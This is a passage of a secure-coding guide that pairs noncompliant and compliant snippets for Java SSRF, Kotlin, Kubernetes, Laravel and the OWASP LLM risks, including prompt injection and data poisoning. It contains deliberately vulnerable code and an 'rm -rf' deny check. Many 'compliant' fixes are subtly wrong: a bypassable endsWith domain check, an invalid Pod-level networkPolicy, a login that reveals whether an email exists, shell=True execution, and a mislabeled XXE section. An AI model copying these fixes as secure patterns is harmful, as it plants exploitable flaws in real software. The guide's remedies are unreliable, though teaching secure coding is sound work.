import java.net.URL; public class ImageProcessor { public void processImage(String imageUrl) throws IOException { // Retrieve image from the provided URL URL url = new URL(imageUrl); BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream())); // Process the image // ... } } ``` In this noncompliant code, the processImage method accepts an imageUrl as input and directly makes a request to that URL to retrieve an image. This code is vulnerable to SSRF because it allows an attacker to specify any URL, including internal network resources or malicious URLs, leading to potential attacks against internal systems or services. To address this SSRF vulnerability, here's a compliant code example that implements proper URL validation and restricts the allowed domains: Compliant code: ```php import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.URL; public class ImageProcessor { private static final String ALLOWED_DOMAIN = "example.com"; public void processImage(String imageUrl) throws IOException { // Validate the URL URL url = new URL(imageUrl); String host = url.getHost(); if (!host.endsWith(ALLOWED_DOMAIN)) { throw new IllegalArgumentException("Invalid image URL"); } // Retrieve image from the provided URL BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream())); // Process the image // ... } } ``` In this compliant code, the URL is validated by checking the host against an allowed domain (e.g., "example.com"). If the URL does not belong to the allowed domain, an exception is thrown. This ensures that only trusted URLs are processed and mitigates the risk of SSRF attacks by restricting requests to specific domains. It's important to note that URL validation can be more complex depending on the specific requirements of your application. This example demonstrates a basic approach, but it's recommended to use a well-tested library or framework for URL parsing and validation to handle various edge cases and potential vulnerabilities effectively. ================================================ FILE: docs/rules/kotlin.md ================================================ --- layout: default title: Kotlin parent: Rules --- # Kotlin {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ### XML External Entity (XXE) Noncompliant code: ```java // Noncompliant code fun processInput(input: String) { println("Processing input: $input") // Process the input without any validation or sanitization } ``` In this noncompliant code, the processInput function takes a string input and directly uses it without any validation or sanitization. This code is vulnerable to various security risks, such as injection attacks (e.g., SQL injection, command injection) or Cross-Site Scripting (XSS) attacks. Attackers can manipulate the input to execute malicious code or access sensitive information. Compliant code: ```java // Compliant code fun processInput(input: String) { val sanitizedInput = input.filter { it.isLetterOrDigit() } println("Processing input: $sanitizedInput") // Process the sanitized input } ``` In the compliant code, the input is sanitized using the filter function, which removes any characters that are not letters or digits. This step helps prevent injection attacks by eliminating special characters that could be used to execute arbitrary code. By sanitizing the input before processing it, you reduce the risk of security vulnerabilities. It's important to note that input sanitization requirements can vary depending on the specific use case and context. The example above provides a basic approach to sanitizing input, but it might not be sufficient for all scenarios. Depending on the desired input restrictions, you might need to employ more sophisticated techniques or use specialized libraries for input validation and sanitization. Additional security measures you can implement to address vulnerabilities in Kotlin include: * Using prepared statements or parameterized queries when interacting with databases to prevent SQL injection attacks. * Applying proper input validation based on expected data types, formats, or ranges. * Utilizing security libraries or frameworks that offer features like secure password hashing, encryption, or authentication mechanisms. * Implementing access controls and authorization mechanisms to ensure that only authorized users can access sensitive operations or resources. By applying these security measures and following best practices, you can mitigate vulnerabilities in Kotlin and enhance the overall security of your application. ================================================ FILE: docs/rules/kubernetes.md ================================================ --- layout: default title: Kubernetes parent: Rules --- # Kubernetes {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Hardcoded Credential Noncompliant code: ```php # Noncompliant code apiVersion: v1 kind: Deployment metadata: name: my-app spec: replicas: 3 template: metadata: labels: app: my-app spec: containers: - name: my-app-container image: my-app:v1 ports: - containerPort: 8080 env: - name: DATABASE_URL value: "mysql://root:password@localhost:3306/my_database" ``` In this noncompliant code, the Kubernetes Deployment configuration file contains a hardcoded database connection string in the env section. The database URL, including the username (root), password (password), and other sensitive details, is directly embedded in the configuration file. This approach introduces security risks, as sensitive information is exposed and can be easily compromised if the configuration file is accessed by unauthorized users. Compliant code: ```php # Compliant code apiVersion: v1 kind: Deployment metadata: name: my-app spec: replicas: 3 template: metadata: labels: app: my-app spec: containers: - name: my-app-container image: my-app:v1 ports: - containerPort: 8080 env: - name: DATABASE_URL valueFrom: secretKeyRef: name: my-app-secrets key: database-url ``` In the compliant code, the hardcoded database connection string is replaced with a reference to a Kubernetes Secret. The Secret, named my-app-secrets, contains the sensitive information such as the database URL, username, and password. The valueFrom field in the env section instructs Kubernetes to retrieve the value of the database-url key from the specified Secret. By leveraging Secrets, you can centralize and securely manage sensitive information in Kubernetes, preventing hardcoded vulnerabilities. Secrets can be encrypted, access-controlled, and rotated more easily compared to hardcoded values. Ensure that you follow secure practices for managing Secrets, such as granting appropriate permissions, encrypting Secrets at rest and in transit, regularly rotating Secrets, and utilizing Kubernetes RBAC (Role-Based Access Control) to control access to Secrets. By using Secrets to store and retrieve sensitive information, you enhance the security, maintainability, and portability of your Kubernetes deployments. ## Container Escape Attack Noncompliant code: ```php apiVersion: v1 kind: Pod metadata: name: privileged-pod spec: containers: - name: privileged-container image: my-image securityContext: privileged: true ``` The noncompliant code sets the privileged flag to true, which allows the container to run with extended privileges, making it easier for an attacker to escape the container and gain access to the host. Compliant code: ```php apiVersion: v1 kind: Pod metadata: name: restricted-pod spec: containers: - name: restricted-container image: my-image securityContext: privileged: false ``` The compliant code sets the privileged flag to false, which restricts the container from running with extended privileges, reducing the risk of container escape attacks. ## Kubernetes API Server Attack Noncompliant code: ```php apiVersion: v1 kind: ServiceAccount metadata: name: privileged-service-account namespace: default ``` The noncompliant code creates a privileged service account without specifying any RBAC (Role-Based Access Control) restrictions, allowing the account to have wide-ranging access to the Kubernetes API server. Compliant code: ```php apiVersion: v1 kind: ServiceAccount metadata: name: restricted-service-account namespace: default --- apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: restricted-role namespace: default rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "watch"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: restricted-role-binding namespace: default roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: restricted-role subjects: - kind: ServiceAccount name: restricted-service-account namespace: default ``` The compliant code creates a restricted service account and applies RBAC rules to limit its access. In this example, the service account is only granted permissions to get, list, and watch pods, providing a more secure configuration. ## Pod-to-Pod Network Attack Noncompliant code: ```php apiVersion: v1 kind: Pod metadata: name: unsecured-pod spec: containers: - name: container-a image: image-a - name: container-b image: image-b ``` The noncompliant code deploys two containers within the same pod without any network policies or restrictions, allowing unrestricted communication between the containers. Compliant code: ```php apiVersion: v1 kind: Pod metadata: name: secured-pod spec: containers: - name: container-a image: image-a - name: container-b image: image-b networkPolicy: podSelector: matchLabels: app: secured-pod ingress: - from: podSelector: matchLabels: app: secured-pod ``` The compliant code introduces network policies to restrict communication between the containers within the pod. In this example, both container-a and container-b are part of the secured-pod, and the network policy ensures that only pods labeled as secured-pod can initiate ingress traffic to this pod. This setup limits the attack surface and prevents unauthorized access or interception of network traffic from other pods. ## Privilege Escalation Attack Noncompliant code: ```php apiVersion: v1 kind: Pod metadata: name: privileged-pod spec: containers: - name: privileged-container image: my-image securityContext: runAsUser: 0 ``` The noncompliant code sets the runAsUser field to 0, which runs the container as the root user, providing extensive privileges and increasing the risk of privilege escalation attacks. Compliant code: ```php apiVersion: v1 kind: Pod metadata: name: restricted-pod spec: containers: - name: restricted-container image: my-image securityContext: runAsUser: 1000 ``` The compliant code sets the runAsUser field to a non-root user (e.g., UID 1000), reducing the container's privileges and mitigating the risk of privilege escalation attacks. ## Denial-of-Service (DoS) Attack Noncompliant code: ```php apiVersion: v1 kind: Deployment metadata: name: resource-hungry-app spec: replicas: 5 template: spec: containers: - name: resource-hungry-container image: my-image resources: requests: cpu: "1000m" memory: "2Gi" ``` The noncompliant code specifies resource requests that are significantly higher than necessary, which can lead to resource exhaustion and potential DoS attacks. Compliant code: ```php apiVersion: v1 kind: Deployment metadata: name: optimized-app spec: replicas: 5 template: spec: containers: - name: optimized-container image: my-image resources: requests: cpu: "100m" memory: "256Mi" ``` The compliant code sets resource requests to more appropriate values, ensuring that each container consumes only the necessary amount of CPU and memory resources, mitigating the risk of DoS attacks. ================================================ FILE: docs/rules/laravel.md ================================================ --- layout: default title: Laravel parent: Rules --- # Laravel {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ### XSS Noncompliant code: ```php // Noncompliant code public function store(Request $request) { $name = $request->input('name'); $message = $request->input('message'); DB::table('comments')->insert([ 'name' => $name, 'message' => $message, ]); return redirect()->back(); } ``` In this noncompliant code, the store method receives user input through the $request object and directly inserts it into the database without any validation or sanitization. This makes the application vulnerable to Cross-Site Scripting (XSS) attacks, as an attacker can submit malicious JavaScript code as the message input, which will be rendered as-is when displayed back to users. Compliant code: ```php // Compliant code public function store(Request $request) { $name = $request->input('name'); $message = $request->input('message'); $sanitizedMessage = htmlspecialchars($message, ENT_QUOTES, 'UTF-8'); DB::table('comments')->insert([ 'name' => $name, 'message' => $sanitizedMessage, ]); return redirect()->back(); } ``` In the compliant code, the htmlspecialchars function is used to sanitize the user input before inserting it into the database. This function escapes special characters that have special meaning in HTML, preventing them from being interpreted as HTML tags or entities when displayed in the browser. This sanitization process helps mitigate XSS vulnerabilities by ensuring that user-supplied input is treated as plain text rather than executable code. It's important to note that while the htmlspecialchars function provides basic protection against XSS attacks, it is context-specific. Depending on the specific output context (e.g., HTML attributes, JavaScript, CSS), additional sanitization or encoding may be required. Consider using specialized libraries or functions that are tailored to the specific output context to provide more comprehensive protection against XSS vulnerabilities. In addition to input sanitization, other security measures you can implement in Laravel to mitigate XSS vulnerabilities include: * Utilizing Laravel's built-in CSRF protection to prevent cross-site request forgery attacks. * Applying output encoding using Laravel's Blade templating engine or helper functions like {{ }} to automatically escape variables. * Implementing content security policies (CSP) to control the types of content allowed to be loaded and executed on your web pages. By properly sanitizing user input and implementing security measures throughout your Laravel application, you can effectively mitigate XSS vulnerabilities and enhance the overall security of your web application. ### SQL injection Noncompliant code: ```php $userInput = $_GET['username']; $query = "SELECT * FROM users WHERE username = '".$userInput."'"; $results = DB::select($query); ``` In this noncompliant code, the user input is directly concatenated into the SQL query string, creating a vulnerability known as SQL injection. An attacker can manipulate the input to inject malicious SQL statements, potentially gaining unauthorized access to the database or manipulating its contents. Compliant code: ```php $userInput = $_GET['username']; $results = DB::select("SELECT * FROM users WHERE username = ?", [$userInput]); ``` In the compliant code, Laravel's query builder is used with prepared statements to mitigate SQL injection. The user input is bound to a placeholder (?) in the query, and Laravel handles the proper escaping and sanitization of the input. By using prepared statements, the compliant code ensures that user input is treated as data rather than executable SQL code, thereby preventing SQL injection attacks. ### Broken Access Control Noncompliant code: ```php public function deletePost(Request $request, $postId) { $post = Post::find($postId); // Check if the currently authenticated user is the owner of the post if ($post->user_id == Auth::user()->id) { $post->delete(); return redirect('/dashboard')->with('success', 'Post deleted successfully.'); } else { return redirect('/dashboard')->with('error', 'You do not have permission to delete this post.'); } } ``` In this noncompliant code, the deletePost method assumes that the currently authenticated user is authorized to delete any post based solely on their user ID. However, it fails to perform proper access control checks to ensure that the user is the actual owner of the post. This can lead to broken access control, allowing unauthorized users to delete posts. Compliant code: ```php public function deletePost(Request $request, $postId) { $post = Post::find($postId); // Check if the currently authenticated user is the owner of the post if ($post->user_id == Auth::user()->id) { $post->delete(); return redirect('/dashboard')->with('success', 'Post deleted successfully.'); } else { abort(403, 'Unauthorized'); } } ``` In the compliant code, the deletePost method performs the same check to verify if the authenticated user is the owner of the post. However, instead of redirecting with an error message, it throws a 403 Forbidden exception using the abort function if the user is not authorized. This ensures that unauthorized users cannot determine the existence of a post they don't have access to. ### Cryptographic Failures Noncompliant code: ```php public function encryptData($data, $key) { return encrypt($data, $key); } public function decryptData($encryptedData, $key) { return decrypt($encryptedData, $key); } ``` In this noncompliant code, the encryptData and decryptData functions use the default Laravel encryption functions encrypt and decrypt to perform cryptographic operations. However, this code does not consider important aspects of cryptographic security, such as key management, algorithm selection, and secure handling of sensitive data. This can lead to cryptographic failures and vulnerabilities in the application. Compliant code: ```php use Illuminate\Support\Facades\Crypt; public function encryptData($data, $key) { return Crypt::encryptString($data); } public function decryptData($encryptedData, $key) { try { return Crypt::decryptString($encryptedData); } catch (DecryptException $e) { // Handle decryption error } } ``` In the compliant code, we use Laravel's Crypt facade to perform the encryption and decryption operations. The encryptString and decryptString methods provided by the Crypt facade offer a more secure approach for cryptographic operations. Additionally, error handling is implemented using a try-catch block to properly handle decryption errors, such as when an incorrect key is provided. ### Insecure Design Noncompliant code: ```php public function getUserProfile($userId) { $user = User::find($userId); if ($user) { return [ 'id' => $user->id, 'name' => $user->name, 'email' => $user->email, 'role' => $user->role, ]; } return null; } ``` In this noncompliant code, the getUserProfile function retrieves a user's profile information based on the provided $userId. However, it lacks proper access control and authorization checks. Any user can potentially access the profile information of any other user, bypassing the necessary security measures. Compliant code: ```php public function getUserProfile($userId, $requestingUserId) { $requestingUser = User::find($requestingUserId); if ($requestingUser && $requestingUser->isAdmin()) { $user = User::find($userId); if ($user) { return [ 'id' => $user->id, 'name' => $user->name, 'email' => $user->email, 'role' => $user->role, ]; } } return null; } ``` In the compliant code, we have introduced an additional parameter $requestingUserId to identify the user making the request. We first check if the requesting user exists and if they have the necessary privileges, such as being an administrator, to access the profile information. Only if these conditions are met, the profile information is returned. Otherwise, null is returned, indicating the lack of authorization. ### Security Misconfiguration Noncompliant code: ```php // config/database.php return [ 'default' => 'mysql', 'connections' => [ 'mysql' => [ 'driver' => 'mysql', 'host' => '127.0.0.1', 'port' => '3306', 'database' => 'mydatabase', 'username' => 'root', 'password' => '', 'unix_socket' => '', 'charset' => 'utf8mb4', 'collation' => 'utf8mb4_unicode_ci', 'prefix' => '', 'strict' => false, 'engine' => null, ], ], ]; ``` In this noncompliant code, the database configuration file config/database.php contains sensitive information, such as the database credentials. The password field is empty, which means the application is using a default or weak password, making it vulnerable to unauthorized access. Additionally, the strict mode is disabled, which can lead to insecure SQL queries. Compliant code: ```php // config/database.php return [ 'default' => env('DB_CONNECTION', 'mysql'), 'connections' => [ 'mysql' => [ 'driver' => 'mysql', 'host' => env('DB_HOST', '127.0.0.1'), 'port' => env('DB_PORT', '3306'), 'database' => env('DB_DATABASE', 'mydatabase'), 'username' => env('DB_USERNAME', 'root'), 'password' => env('DB_PASSWORD', ''), 'unix_socket' => env('DB_SOCKET', ''), 'charset' => 'utf8mb4', 'collation' => 'utf8mb4_unicode_ci', 'prefix' => '', 'strict' => true, 'engine' => null, ], ], ]; ``` In the compliant code, sensitive information such as the database credentials are not hard-coded directly in the configuration file. Instead, environment variables are used to retrieve the values. This allows for better security by keeping the sensitive information separate from the codebase and configurable based on the deployment environment. By using environment variables, you can easily manage different configurations for development, testing, and production environments without exposing sensitive information in the codebase or version control system. ### Vulnerable and Outdated Components Noncompliant code: ```php composer require laravel/framework:5.7.0 ``` In this noncompliant code, the Laravel framework version 5.7.0 is explicitly specified. This can lead to using a vulnerable and outdated version of the framework, as newer versions may contain security patches and bug fixes. Compliant code: ```php composer require laravel/framework:^8.0 ``` In the compliant code, the Laravel framework version is specified using a version constraint ^8.0. This allows Composer, the PHP dependency manager, to install the latest compatible version of the Laravel framework within the major version 8.x. This ensures that you receive the latest security updates and improvements. ### Identification and Authentication Failures Noncompliant code: ```php public function login(Request $request) { $credentials = $request->only('email', 'password'); if (Auth::attempt($credentials)) { // User authenticated successfully return redirect()->intended('/dashboard'); } else { // Authentication failed return redirect()->back()->withErrors(['Invalid credentials']); } } ``` In this noncompliant code, the authentication process solely relies on the Auth::attempt() method, which attempts to authenticate the user based on the provided email and password. However, this code does not handle certain authentication failures appropriately, such as account lockouts or brute-force protection. Compliant code: ```php public function login(Request $request) { $credentials = $request->only('email', 'password'); if (Auth::attempt($credentials)) { // User authenticated successfully return redirect()->intended('/dashboard'); } else { // Authentication failed if (Auth::exists(['email' => $request->input('email')])) { // Invalid password provided return redirect()->back()->withErrors(['Invalid password']); } else { // Invalid email provided return redirect()->back()->withErrors(['Invalid email']); } } } ``` In the compliant code, we have enhanced the authentication process by considering different types of authentication failures. If the provided email exists in the system database but the password is incorrect, we show an appropriate error message indicating an invalid password. If the provided email does not exist, we show an error message indicating an invalid email. ### Software and Data Integrity Failures Noncompliant code: ```php public function updateProfile(Request $request) { $user = Auth::user(); $user->name = $request->input('name'); $user->email = $request->input('email'); $user->save(); return redirect('/profile'); } ``` In this noncompliant code, the user's profile information is updated directly based on the user input received from the request. While this code successfully updates the user's name and email, it lacks proper validation and sanitization of the input, which can lead to software and data integrity failures. Compliant code: ```php public function updateProfile(Request $request) { $user = Auth::user(); $validatedData = $request->validate([ 'name' => 'required|string|max:255', 'email' => 'required|email|unique:users,email,' . $user->id, ]); $user->name = $validatedData['name']; $user->email = $validatedData['email']; $user->save(); return redirect('/profile'); } ``` In the compliant code, we have added validation rules to ensure the integrity of the software and data. The validate() method is used to validate the input fields against specific rules. In this example, the name field is required and should be a string with a maximum length of 255 characters. The email field is also required and must be a valid email format. Additionally, the email field is validated for uniqueness, ensuring that no other user in the database has the same email. ### Security Logging and Monitoring Failures Noncompliant code: ```php public function deleteUser(Request $request) { $userId = $request->input('user_id'); $user = User::find($userId); if ($user) { $user->delete(); } return redirect('/users'); } ``` In this noncompliant code, when a user is deleted, there is no logging or monitoring mechanism in place to track this activity. The code simply deletes the user if found and redirects back to the list of users. Without proper logging and monitoring, it becomes challenging to identify and investigate any unauthorized or suspicious user deletions. Compliant code: ```php public function deleteUser(Request $request) { $userId = $request->input('user_id'); $user = User::find($userId); if ($user) { $user->delete(); // Log the user deletion activity Log::info('User deleted', ['user_id' => $userId]); } return redirect('/users'); } ``` In the compliant code, we have added a logging mechanism to track the user deletion activity. After successfully deleting the user, we use Laravel's Log facade to record an information-level log entry. The log message includes relevant details such as the user ID that was deleted. By incorporating logging into the code, we can keep a record of important security-related events and establish an audit trail for future analysis and monitoring. ### Server-Side Request Forgery Noncompliant code: ```php public function fetchExternalData(Request $request) { $url = $request->input('url'); $data = file_get_contents($url); return response()->json(['data' => $data]); } ``` In this noncompliant code, the fetchExternalData method takes a URL input from the user and directly uses the file_get_contents function to fetch data from that URL. This can lead to a Server-Side Request Forgery vulnerability, where an attacker can provide a malicious URL that causes the application to perform unintended actions or access internal resources. Compliant code: ```php public function fetchExternalData(Request $request) { $url = $request->input('url'); // Validate and sanitize the URL to prevent SSRF $validatedUrl = filter_var($url, FILTER_VALIDATE_URL); if (!$validatedUrl) { return response()->json(['error' => 'Invalid URL'], 400); } // Restrict allowed domains if necessary $allowedDomains = ['example.com', 'trusteddomain.com']; $parsedUrl = parse_url($validatedUrl); if (!in_array($parsedUrl['host'], $allowedDomains)) { return response()->json(['error' => 'Access to the specified domain is not allowed'], 403); } // Fetch the data $data = file_get_contents($validatedUrl); return response()->json(['data' => $data]); } ``` In the compliant code, several measures are taken to mitigate the Server-Side Request Forgery vulnerability: 1. URL Validation and Sanitization: The URL input is validated and sanitized using the filter_var function with the FILTER_VALIDATE_URL filter. This ensures that the URL provided by the user is a valid URL. 1. Restrict Allowed Domains: If necessary, a whitelist of trusted domains can be maintained. The parsed URL's host is checked against this list to ensure that only trusted domains are accessed. This helps prevent access to potentially malicious or internal resources. 1. Proper Error Handling: In case of an invalid URL or unauthorized domain, appropriate error responses are returned. This ensures that potential SSRF attempts are properly handled and communicated to the user or client. ================================================ FILE: docs/rules/llm.md ================================================ --- layout: default title: LLM parent: Rules --- # LLM {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## LLM01:2023 - Prompt Injections Noncompliant code: ```c user_prompt = input("Enter your request: ") response = LLM_model.generate_prompt(user_prompt) print(response) ``` In the above code, the user is prompted to enter their request, which is then directly used as the prompt for the LLM model without any validation or sanitization. This code is susceptible to prompt injections as an attacker can input a malicious prompt to manipulate the LLM's behavior or extract sensitive information. Compliant code: ```python import re # Define a regular expression pattern to validate the user's input input_pattern = r'^[a-zA-Z0-9\s\.,!?]+$' def sanitize_input(user_input): # Remove any special characters or symbols from the input sanitized_input = re.sub(r'[^\w\s\.,!?]', '', user_input) return sanitized_input.strip() def validate_input(user_input): # Validate the user's input against the defined pattern return re.match(input_pattern, user_input) is not None user_prompt = input("Enter your request: ") # Sanitize and validate the user's input sanitized_prompt = sanitize_input(user_prompt) if validate_input(sanitized_prompt): response = LLM_model.generate_prompt(sanitized_prompt) print(response) else: print("Invalid input. Please enter a valid request.") ``` In the compliant code, several changes have been made to prevent prompt injections: 1. A regular expression pattern (`input_pattern`) is defined to validate the user's input. It allows only alphanumeric characters, spaces, commas, periods, exclamation marks, and question marks. 2. The `sanitize_input` function removes any special characters or symbols from the user's input, ensuring it contains only the allowed characters. 3. The `validate_input` function checks whether the sanitized input matches the defined pattern. If it does, the LLM model is called to generate the prompt and produce the response. Otherwise, an error message is displayed. By validating and sanitizing the user's input, the compliant code protects against prompt injections by ensuring that only safe and expected prompts are passed to the LLM model. ## LLM02:2023 - Data Leakage Noncompliant code: ```python user_prompt = input("Enter your request: ") response = LLM_model.generate_prompt(user_prompt) print(response) ``` In the above code, the user is prompted to enter their request, which is then directly used as the prompt for the LLM model without any validation or sanitization. This code is susceptible to prompt injections as an attacker can input a malicious prompt to manipulate the LLM's behavior or extract sensitive information. Compliant code: ```python import re user_prompt = input("Enter your request: ") # Check if the user prompt contains sensitive information if re.search(r'\b(?:password|credit card|social security)\b', user_prompt, re.IGNORECASE): print("Error: Your request contains sensitive information.") else: response = LLM_model.generate_prompt(user_prompt) print(response) ``` In the compliant vulnerable code, an attempt is made to prevent data leakage by checking if the user prompt contains sensitive information using regular expressions. If the user prompt matches any sensitive information patterns (such as "password," "credit card," or "social security"), an error message is displayed instead of generating a response. However, the code is still vulnerable because the error message itself could potentially disclose the presence of sensitive information in the user's input. ## LLM03:2023 - Inadequate Sandboxing Noncompliant code: ```python import os user_prompt = input("Enter your command: ") os.system(user_prompt) ``` In this noncompliant code, the user is prompted to enter a command, and the `os.system()` function is used to execute the user's input directly. There is no proper sandboxing or restriction on the user's command, allowing them to execute any system-level command they desire. This lack of sandboxing exposes the underlying system to potential unauthorized actions and compromises its security. Compliant code: ```python import subprocess user_prompt = input("Enter your command: ") subprocess.run(user_prompt, shell=False) ``` In the compliant vulnerable code, the `subprocess.run()` function is used instead of `os.system()`. The `shell` parameter is set to `False` to prevent command injection vulnerabilities. However, this code is still vulnerable because it lacks proper sandboxing or restriction on the user's command. The user can execute any command within the allowed privileges of the running process. ## LLM04:2023 - Unauthorized Code Execution Noncompliant code: ```python user_prompt = input("Enter your command: ") exec(user_prompt) ``` In the noncompliant code, the user's input is directly passed to the `exec()` function, which executes the command as is without any validation or sanitization. This code is vulnerable to unauthorized code execution since an attacker can craft a malicious command to be executed by the LLM. Compliant code: ```python import subprocess def execute_command(command): subprocess.run(command, shell=True) def process_user_prompt(user_prompt): # Sanitize and validate user input before executing the command if not valid_input(user_prompt): print("Invalid input. Please try again.") return execute_command(user_prompt) def valid_input(user_prompt): # Implement input validation logic here # Ensure that user_prompt does not contain any malicious commands or unauthorized code # Example validation: Restrict specific commands or check for patterns indicative of malicious input if "rm -rf" in user_prompt: return False return True user_prompt = input("Enter your command: ") process_user_prompt(user_prompt) ``` In the compliant vulnerable code, input validation and sanitization have been added. The `valid_input()` function checks if the user's input is safe and does not contain any potentially malicious commands or unauthorized code. If the input is determined to be valid, the command is executed using the `execute_command()` function, which utilizes the `subprocess.run()` method with the `shell=True` argument. The `valid_input()` function can be customized to include additional validation logic based on the specific requirements and potential threats. ## LLM05:2023 - SSRF Vulnerabilities Noncompliant code: ```python import requests def fetch_data(url): response = requests.get(url) return response.text user_input = input("Enter the URL to fetch data from: ") data = fetch_data(user_input) print(data) ``` The noncompliant code directly uses the user-provided URL to make a request without any validation or restriction. This allows an attacker to provide a malicious URL that could target internal systems, APIs, or sensitive resources. Compliant code: ```python import requests ALLOWED_DOMAINS = ["example.com", "api.example.com"] def fetch_data(url): response = requests.get(url) return response.text def is_url_allowed(url): parsed_url = urlparse(url) domain = parsed_url.netloc return domain in ALLOWED_DOMAINS user_input = input("Enter the URL to fetch data from: ") if is_url_allowed(user_input): data = fetch_data(user_input) print(data) else: print("Access to the specified URL is not allowed.") ``` The compliant vulnerable code introduces a basic URL validation mechanism. It defines a list of allowed domains (`ALLOWED_DOMAINS`) and checks if the user-provided URL belongs to one of these domains. If the URL is allowed, the code proceeds to fetch the data. Otherwise, it displays a message indicating that access to the specified URL is not allowed. ## LLM06:2023 - Overreliance on LLM-generated Content Noncompliant code: ```python user_input = input("Enter your question: ") response = LLM_model.generate_response(user_input) print(response) ``` In the noncompliant code above, there is an overreliance on the LLM-generated content. The user's input is directly passed to the LLM model without any verification or human oversight. The generated response is then printed without any further validation or review, leading to potential risks associated with overreliance on the LLM-generated content. Compliant code: ```python user_input = input("Enter your question: ") response = LLM_model.generate_response(user_input) reviewed_response = review_content(response) print(reviewed_response) def review_content(content): # Implement human review process to validate and verify the LLM-generated content # Check for accuracy, factuality, and potential biases # Make corrections or additions as necessary return content ``` In the compliant vulnerable full code, there is an attempt to address the risks associated with overreliance on LLM-generated content. The user's input is still passed to the LLM model for generating a response. However, the generated response is then passed through a `review_content()` function, which represents a human review process. This function allows for validation, verification, and correction of the LLM-generated content. The reviewed response is then printed or used further in the application. ## LLM07:2023 - Inadequate AI Alignment Noncompliant code: ```python # Noncompliant code: Inadequate AI Alignment def generate_response(user_prompt): # Arbitrary and poorly defined objectives if user_prompt == "get_personal_info": return get_personal_info() elif user_prompt == "generate_random_number": return generate_random_number() else: return "Invalid prompt" def get_personal_info(): # Code to retrieve and return personal information ... def generate_random_number(): # Code to generate a random number ... ``` The noncompliant code demonstrates inadequate AI alignment as it lacks well-defined objectives for the LLM. It has arbitrary and poorly defined objectives where different user prompts trigger different actions without clear alignment with the desired outcomes. The code does not consider factors like authorization or user validation, leading to potential security and privacy issues. Compliant code: ```python # Compliant vulnerable code: Improved AI Alignment def generate_response(user_prompt): if user_prompt == "get_personal_info": return handle_personal_info_request() elif user_prompt == "generate_random_number": return handle_random_number_request() else: return "Invalid prompt" def handle_personal_info_request(): # Perform necessary checks and validations if user_is_authorized(): return retrieve_personal_info() else: return "Unauthorized access" def retrieve_personal_info(): # Code to retrieve and return personal information ... def handle_random_number_request(): # Perform necessary checks and validations if user_is_authorized(): return generate_random_number() else: return "Unauthorized access" def generate_random_number(): # Code to generate a random number ... ``` The compliant vulnerable full code improves the AI alignment by considering more specific and well-defined objectives. It introduces separate functions to handle different user prompts, such as "get_personal_info" and "generate_random_number". Each function performs the necessary checks and validations before executing the corresponding action. For example, before retrieving personal information or generating a random number, the code checks if the user is authorized to perform those actions. This ensures that the LLM's behavior is aligned with the intended objectives and incorporates security measures. ## LLM08:2023 - Insufficient Access Controls Noncompliant code: ```python def generate_response(user_input): response = LLM_model.generate_prompt(user_input) return response user_input = input("Enter your request: ") response = generate_response(user_input) print(response) ``` In the above noncompliant code, there are no access controls implemented. Any user can input a request, and the `generate_response()` function directly passes the user input to the LLM model without any authentication or authorization checks. This lack of access controls allows any user, authorized or unauthorized, to interact with the LLM and obtain responses. Compliant code: ```python def generate_response(user_input, user_role): if user_role == "admin": response = LLM_model.generate_prompt(user_input) return response else: return "Unauthorized access" def authenticate_user(username, password): # Code for authenticating the user def get_user_role(username): # Code for retrieving the user's role def main(): username = input("Username: ") password = input("Password: ") if authenticate_user(username, password): user_role = get_user_role(username) user_input = input("Enter your request: ") response = generate_response(user_input, user_role) print(response) else: print("Authentication failed") if __name__ == "__main__": main() ``` In the compliant vulnerable code, access controls are implemented to ensure that only authenticated and authorized users can interact with the LLM. The `generate_response()` function now takes an additional parameter `user_role`, which represents the role of the user. The function checks if the user has the "admin" role before generating the LLM response. If the user has the "admin" role, the response is generated and returned. Otherwise, an "Unauthorized access" message is returned. The `main()` function handles the user authentication process by prompting for a username and password. It calls the `authenticate_user()` function to validate the credentials and retrieve the user's role using the `get_user_role()` function. If authentication is successful, the user is prompted to enter a request, and the `generate_response()` function is called with the user's input and role. ## LLM09:2023 - Improper Error Handling Noncompliant code: ```python # Noncompliant code try: # Code that may raise an error result = perform_operation() print("Operation completed successfully!") except Exception as e: # Displaying the detailed error message to the user print(f"An error occurred: {str(e)}") ``` The noncompliant code above demonstrates improper error handling practices. When an error occurs during the `perform_operation()` function call, the code catches the exception and displays the detailed error message to the user using `print(f"An error occurred: {str(e)}")`. This approach exposes sensitive information and potentially reveals implementation details to the user, which could be leveraged by attackers. Compliant code: ```python # Compliant vulnerable code import logging try: # Code that may raise an error result = perform_operation() print("Operation completed successfully!") except Exception as e: # Logging the error message for internal use logging.exception("An error occurred during the operation") # Displaying a generic error message to the user print("An error occurred. Please try again later.") ``` The compliant vulnerable code addresses the issue of improper error handling. It introduces logging using the `logging` module to capture the detailed error information for internal use. Instead of displaying the specific error message to the user, it provides a generic error message like "An error occurred. Please try again later." This prevents the leakage of sensitive details to the user while still indicating that an error occurred. ## LLM10:2023 - Training Data Poisoning Noncompliant code: ```python # Noncompliant code - Training Data Poisoning import random def get_training_data(): # Retrieve training data from an untrusted source training_data = untrusted_source.get_data() # Introduce malicious examples into the training data poisoned_data = training_data + malicious_examples return poisoned_data def train_model(): data = get_training_data() # Train the model using the poisoned data model.train(data) ``` In the noncompliant code, the training data is retrieved from an untrusted source, which can be manipulated to introduce malicious examples. The code combines the untrusted data with malicious examples, resulting in a poisoned dataset. This allows the attacker to manipulate the model's behavior and introduce vulnerabilities or biases. Compliant code: ```python # Compliant Vulnerable code - Training Data Poisoning import random def get_training_data(): # Retrieve training data from a trusted source training_data = trusted_source.get_data() return training_data def sanitize_data(data): # Implement data sanitization techniques to remove potential vulnerabilities or biases sanitized_data = perform_sanitization(data) return sanitized_data def train_model(): data = get_training_data() # Sanitize the training data to remove any potential poisoning or biases sanitized_data = sanitize_data(data) # Train the model using the sanitized data model.train(sanitized_data) ``` In the compliant vulnerable code, the training data is retrieved from a trusted 